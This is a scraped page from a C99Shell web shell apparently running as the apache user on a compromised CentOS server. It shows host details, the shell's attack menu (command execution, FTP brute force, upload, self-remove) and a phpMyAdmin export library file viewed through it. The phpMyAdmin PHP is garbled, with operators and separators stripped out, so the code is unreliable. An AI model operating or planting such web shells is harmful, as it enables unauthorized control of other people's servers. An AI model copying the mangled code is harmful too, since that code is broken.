!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/usr/share/phpMyAdmin/libraries/rte/   drwxr-xr-x
Free 9.19 GB of 93.48 GB (9.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rte_export.lib.php (3.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Common functions for the export functionality for Routines, Triggers and Events.
 *
 * @package PhpMyAdmin
 */
if (! defined('PHPMYADMIN')) {
    exit;
}

/**
 * This function is called from one of the other functions in this file
 * and it completes the handling of the export functionality.
 *
 * @param string $export_data The SQL query to create the requested item
 *
 * @return void
 */
function PMA_RTE_handleExport($export_data)
{
    global 
$db;

    
$item_name htmlspecialchars(PMA_Util::backquote($_GET['item_name']));
    if (
$export_data !== false) {
        
$export_data '<textarea cols="40" rows="15" style="width: 100%;">'
                     
htmlspecialchars(trim($export_data)) . '</textarea>';
        
$title sprintf(PMA_RTE_getWord('export'), $item_name);
        if (
$GLOBALS['is_ajax_request'] == true) {
            
$response PMA_Response::getInstance();
            
$response->addJSON('message'$export_data);
            
$response->addJSON('title'$title);
            exit;
        } else {
            echo 
"<fieldset>\n"
               
"<legend>$title</legend>\n"
               
$export_data
               
"</fieldset>\n";
        }
    } else {
        
$_db htmlspecialchars(PMA_Util::backquote($db));
        
$message  __('Error in processing request:') . ' '
                  
sprintf(PMA_RTE_getWord('not_found'), $item_name$_db);
        
$response PMA_message::error($message);
        if (
$GLOBALS['is_ajax_request'] == true) {
            
$response PMA_Response::getInstance();
            
$response->isSuccess(false);
            
$response->addJSON('message'$message);
            exit;
        } else {
            
$response->display();
        }
    }
// end PMA_RTE_handleExport()

/**
 * If necessary, prepares event information and passes
 * it to PMA_RTE_handleExport() for the actual export.
 *
 * @return void
 */
function PMA_EVN_handleExport()
{
    global 
$_GET$db;

    if (! empty(
$_GET['export_item']) && ! empty($_GET['item_name'])) {
        
$item_name $_GET['item_name'];
        
$export_data $GLOBALS['dbi']->getDefinition($db'EVENT'$item_name);
        
PMA_RTE_handleExport($export_data);
    }
// end PMA_EVN_handleExport()

/**
 * If necessary, prepares routine information and passes
 * it to PMA_RTE_handleExport() for the actual export.
 *
 * @return void
 */
function PMA_RTN_handleExport()
{
    global 
$_GET$db;

    if (   ! empty(
$_GET['export_item'])
        && ! empty(
$_GET['item_name'])
        && ! empty(
$_GET['item_type'])
    ) {
        if (
$_GET['item_type'] == 'FUNCTION' || $_GET['item_type'] == 'PROCEDURE') {
            
$export_data $GLOBALS['dbi']->getDefinition(
                
$db,
                
$_GET['item_type'],
                
$_GET['item_name']
            );
            
PMA_RTE_handleExport($export_data);
        }
    }
// end PMA_RTN_handleExport()

/**
 * If necessary, prepares trigger information and passes
 * it to PMA_RTE_handleExport() for the actual export.
 *
 * @return void
 */
function PMA_TRI_handleExport()
{
    global 
$_GET$db$table;

    if (! empty(
$_GET['export_item']) && ! empty($_GET['item_name'])) {
        
$item_name $_GET['item_name'];
        
$triggers $GLOBALS['dbi']->getTriggers($db$table'');
        
$export_data false;
        foreach (
$triggers as $trigger) {
            if (
$trigger['name'] === $item_name) {
                
$export_data $trigger['create'];
                break;
            }
        }
        
PMA_RTE_handleExport($export_data);
    }
// end PMA_TRI_handleExport()
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0055 ]--